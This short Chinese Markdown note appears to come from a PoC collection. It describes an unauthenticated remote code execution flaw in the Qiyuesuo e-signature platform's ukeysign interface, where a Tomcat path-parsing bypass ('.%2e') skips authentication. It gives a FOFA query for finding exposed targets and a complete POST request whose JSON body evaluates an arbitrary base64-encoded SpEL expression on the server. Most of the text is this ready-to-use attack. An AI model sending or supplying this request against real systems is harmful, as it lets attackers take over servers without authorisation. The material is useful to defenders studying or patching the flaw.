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26 lines
1.0 KiB
Markdown
26 lines
1.0 KiB
Markdown
# 契约锁电子签章平台ukeysign存在远程命令执行漏洞
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契约锁电子签章平台 `/contract/ukeysign/.%2e/.%2e/template/param/edits `接口处存在远程代码执行漏洞，未经身份验证的攻击者可通过tomcat对路径参数解析不正当的特性绕过权限认证在目标执行恶意代码，获取服务器权限。经过分析和研判，该漏洞利用难度低，可导致远程代码执行，建议尽快修复。
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## fofa
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```java
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app="契约锁-电子签署平台"
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```
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## poc
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```java
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POST /contract/ukeysign/.%2e/.%2e/template/param/edits HTTP/1.1
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Host:
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User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like
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Gecko) Chrome/113.0.0.0 Safari/537.36
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Content-Type: application/json
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{"id":"2","params":[{"expression":"var a=new
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org.springframework.expression.spel.standard.SpelExpressionParser();var b='SpEL 表达式的 base64 编
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码';var b64=java.util.Base64.getDecoder();var deStr=new java.lang.String(b64.decode(b),'UTF-
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8');var c=a.parseExpression(deStr);c.getValue();"}]}
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```
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